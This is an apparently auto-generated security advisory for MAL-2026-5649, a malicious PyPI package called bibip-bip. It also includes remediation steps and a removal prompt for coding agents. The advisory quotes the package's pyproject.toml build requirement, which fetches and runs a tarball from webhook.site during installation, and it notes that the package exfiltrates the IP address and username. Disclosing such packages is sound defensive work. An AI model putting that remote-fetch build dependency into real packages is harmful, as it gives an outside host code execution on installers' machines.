# MAL-2026-5649: Malicious code in bibip-bip (PyPI)


- **Type:** Malicious package
- **Package:** `bibip-bip` (PyPI)
- **Published:** 11 Jun 2026

## What is MAL-2026-5649?

MAL-2026-5649 is a malicious package in bibip-bip, published on 11 Jun 2026. 

### Official description

pyproject.toml declares a PEP 517 build requirement that points to an arbitrary tarball hosted on webhook.site, an anonymous request-inspection / file-hosting service: `requires = ["setuptools>=64", "aliga-raison @ https://webhook.site/d5367f1c-8bca-4d14-83d3-b2cbbce825eb/pypi/aliga-raison.tar.gz"]`. During `pip install` (or `pip wheel` / sdist build) pip resolves this direct-URL requirement into the build isolation environment and executes the tarball's setup.py, giving the URL owner arbitrary code execution on the installer's machine. The URL is unpinned (no hash), is not on the publisher's domain, and webhook.site content is fully attacker-controlled and mutable. The package's advertised purpose ('simple hello package') has no legitimate need for an external build dependency, let alone one fetched from an anonymous host.

Package tests exploitation via externally-hosted dependencies

---

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

 - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.

 - The package overrides the install command in setup.py to execute malicious code during installation.

## What should I do about MAL-2026-5649?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5649 is a malicious package: bibip-bip (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5649/ (Markdown: https://insights.sbomify.com/MAL-2026-5649/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5649

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5649/
Summaries are generated and may contain mistakes; the official description above is the record.